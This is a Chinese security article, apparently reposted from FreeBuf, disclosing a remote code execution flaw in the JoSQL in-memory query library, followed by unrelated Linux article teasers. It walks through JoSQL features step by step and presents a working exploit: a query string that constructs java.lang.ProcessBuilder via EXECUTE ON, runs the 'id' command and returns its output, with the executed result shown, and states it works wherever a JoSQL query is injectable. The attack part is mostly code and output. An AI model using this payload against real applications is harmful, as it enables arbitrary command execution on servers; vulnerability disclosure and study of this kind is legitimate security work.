JoSQL内存数据库远程代码执行漏洞(含EXP)

JoSQL内存数据库远程代码执行漏洞(含EXP)

JoSQL全称SQL for Java Objects,提供了应用SQL语句的Java对象的集合的能力开发,JoSQL提供了搜索,排序,group等对Java对象的集合进行类似SQL的查询应该应用的功能。

例如,查找所有在2004年内修改过的html文件:

SELECT * FROM   java.io.File WHERE  name $LIKE "%.html" AND    toDate (lastModified) BETWEEN toDate ('01-12-2004') 
AND    toDate ('31-12-2004')

java中使用JoSQL:

// 获取 java.io.File 列表.
List myObjs = getMyObjects ();

// 创建查询对象.
Query q = new Query ();

// Parse the SQL you are going to use, it is assumed here that 
// "myObjs" contains instances of "java.io.File".
q.parse ("SELECT name,length " +
         "FROM   java.io.File " +
         "WHERE  fileExtension (name) = :fileExt " +
         "ORDER BY length DESC, name " +
         "EXECUTE ON RESULTS avg (:_allobjs, length) avgLength");

// 绑定参数类似于预编译模式设置参数
q.setVariable ("fileExt", "java");

// 执行查询.
QueryResults qr = q.execute (myObjs);
  
// Get the average length, this is a save value, the result
// of executing the call "avg (:_allobjs, length)", it is saved against
// key: "avgLength".
Map saveValues = qr.getSaveValues ();
Number avg = (Number) saveValues.get ("avgLength");

// 循环读取结果
List res = qr.getResults ();

for (int i = 0; i < res.size (); i++)
{

    // This time there is a List for each row, index 0 holds the name of 
    // the file that matched, index 1 holds the length.
    List r = (List) res.get (i);

    System.out.println ("NAME: " + r.get (0));
    System.out.println ("LENGTH: " + r.get (1) + ", AVG: " + avg);

}

具体其他详细操作可参考:http://josql.sourceforge.net

下面分析下远程代码造成的原因

1.首先写一个demo查询从User列表中查询:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT * from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                User user = (User)res.get(i);
                System.out.println("username:"+user.username+"|password:"+user.password);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

上面代码运行结果是:

username:nike|password:cb39554898fc98f9329d37242045e728
username:smith|password:12345678

现在将sql语句换成:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT help from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                System.out.println(res.get(i));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

则运行结果:

help method:nike|cb39554898fc98f9329d37242045e728
help method:smith|12345678 [null] [null]

从上面结果就可以看出help方法被调用了,从而可以得知joSQL可以调用无参函数(关键)。

2.joSQL存在一个特性,即可以通过new来构造一个新的对象比如:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user对象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 获取user列表用来作为查询集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT new josql.Demo() from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                System.out.println(res.get(i));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

执行结果:

josql.Demo@447ffd8e josql.Demo@2edf98c4

3.joSQL另外一个特性就是可以通过EXECUTE ON支持函数式编程。其执行结果可以通过变量作为其他查询参数来调用

语法:EXECUTE ON ALL | RESULTS | GROUP_BY_RESULTS Expression [ , Expression ]* [ [ AS ] Alias ]
例子:

package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo {    /**     * user对象     *     * @author nike     *     */    class User {        private String username;        private String password;         public String getUsername() {            return username;        }         public void setUsername(String username) {            this.username = username;        }         public String getPassword() {            return password;        }         public void setPassword(String password) {            this.password = password;        }         public void help() {            System.out.println("help method:"+username + "|" + password);        }    }     /**     * 获取user列表用来作为查询集     *     * @return     */    public List<User> getObjs() {        List<User> users = new ArrayList<User>();        User a = new User();        a.setUsername("nike");        a.setPassword("cb39554898fc98f9329d37242045e728");         User b = new User();        b.setUsername("smith");        b.setPassword("12345678");         users.add(a);        users.add(b);        return users;    }     public void query() {        List<User> myObjs = getObjs();        Query q = new Query();        try {            q.parse("SELECT username from josql.Demo$User group by @a EXECUTE ON ALL new josql.Demo() AS a");            QueryResults qr = q.execute(myObjs);            @SuppressWarnings("unchecked")            List<User> res = qr.getResults();            for (int i = 0; i < res.size(); i++) {                System.out.println(res.get(i));            }        } catch (Exception e) {            e.printStackTrace();        }    }     public static void main(String[] args) {        Demo demo = new Demo();        demo.query();    }}

执行结果:

[josql.Demo@4094de98]

从结果中可以看到Demo成功被创建。

结合第1,2,3点可以执行无参函数,则我们可以调用ProcessBuilder的start可以执行系统命令。

package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo {    /**     * user对象     *     * @author nike     *     */    class User {        private String username;        private String password;         public String getUsername() {            return username;        }         public void setUsername(String username) {            this.username = username;        }         public String getPassword() {            return password;        }         public void setPassword(String password) {            this.password = password;        }         public void help() {            System.out.println("help method:"+username + "|" + password);        }    }     /**     * 获取user列表用来作为查询集     *     * @return     */    public List<User> getObjs() {        List<User> users = new ArrayList<User>();        User a = new User();        a.setUsername("nike");        a.setPassword("cb39554898fc98f9329d37242045e728");         User b = new User();        b.setUsername("smith");        b.setPassword("12345678");         users.add(a);        users.add(b);        return users;    }     public void query() {        List<User> myObjs = getObjs();        Query q = new Query();        try {            q.parse("SELECT username from josql.Demo$User where 1=1  group by @c.readLine,@c.readLine EXECUTE ON ALL new java.lang.ProcessBuilder(['id']) AS a, "                    + "new java.io.InputStreamReader(@a.start.getInputStream) as b, new java.io.BufferedReader(@b) as c");            QueryResults qr = q.execute(myObjs);            @SuppressWarnings("unchecked")            List<User> res = qr.getResults();            for (int i = 0; i < res.size(); i++) {                System.out.println(res.get(i));            }        } catch (Exception e) {            e.printStackTrace();        }    }     public static void main(String[] args) {        Demo demo = new Demo();        demo.query();    }}

执行结果:

[uid=501(nike) gid=20(staff) 
groups=20(staff),501(access_bpf),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh),  null] [null, null]

则系统命令成功被执行。

利用场景

当某处查询利用了joSQL并且存在注入,则通过这个漏洞直接调用系统命令。

[作者/安恒信息(企业账号),转自FreeBuf黑客与极客(FreeBuf.COM)]

原创文章,作者:stanley,如若转载,请注明出处:http://www.178linux.com/724

(0)
stanleystanley
上一篇 2015-03-06
下一篇 2015-03-06

相关推荐

  • ​HA专题: Corosync+Pacemaker+drbd实现MySQL高可用

    HA专题: Corosync+Pacemaker+drbd实现MySQL高可用 前言 实验拓扑 实验环境 实验步骤 安装前准备工作 配置DRBD 配置MySQL 配置Corosync+Pacemaker 测试 我遇到的问题 总结 前言 上篇文章我们介绍了drbd的相关原理、编译安装、简单的实现. drbd虽然可以保证数据的可靠性但是我们上次的实现还…

    Linux干货 2016-04-13
  • Linux DNS服务系列之原理介绍及正反向解析配置

    前言 我们在访问一个网站的时候,只要输入该网站的网址就会跳转到该网站页面,而实现这一过程就需要DNS服务器将域名解析为IP地址,进而实现数据通信。那么DNS服务器是如何工作的呢?本系列分为两部分,本文将详解DNS服务原理及正反向解析配置。 DNS服务原理详解 DNS相关知识 DNS:Domain Name Service,域名解析服务 监听端口:udp/53…

    Linux干货 2015-04-13
  • N26-博客作业-week2

    1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。   cp:copy 复制文件和路径 cp [OPTION]… [-T] SOURCE DEST cp [OPTION]… SOURCE… DIRECTORY cp [OPTION]… -t DIRECTORY SOURCE&…

    Linux干货 2017-02-12
  • linux发展史

    通过本篇文章,读者可以了解Linux的基本概念、历史、发展情况; 首先,我们通过简单的介绍Linux,了解什么是linux以及它的发展背景; 前言:操作系统介绍 内核负责控制硬件资源分配,而如果只有内核,则只能让计算机硬件运行,而不能有任何功能,因此需要系统调用提供给开发者使用,从而开发应用程序; 内核能够控制硬件,比如:让CPU可以运算、让硬盘可以读写数据…

    Linux干货 2016-10-14
  • 高级文件系统管理之mdadm与lvm的创建

    ※配置配额系统 磁盘配额就是管理员可以为用户所能使用的磁盘空间进行配额限制,每一用户只能使用最大配额范围内的磁盘空间,比如一些网盘就是基于这个功能来做的,分配给用户固定的空间,花钱买,可以将空间设置的更大。 功能作用 磁盘配额可以限制指定账户能够使用的磁盘空间,这样可以避免因某个用户的过度的使用磁盘空间造成其它用户无法运行或工作甚至影响系统运行。这个功能不止…

    Linux干货 2016-08-27
  • 文件压缩,解压缩及归档

        在Linux的环境中,压缩文件的扩展名大多是:“*.tar, *.tar.gz, *.gz, *.Z, *.bz2, *.xz”,因为 Linux 支持的压缩指令非常多,且不同的指令所用的压缩技术并不相同,当然彼此之间可能就无法互通压缩/解压缩文件,当你下载到某个压缩文件时,自然就需要知道该文件是由哪种压缩指令…

    Linux干货 2016-08-18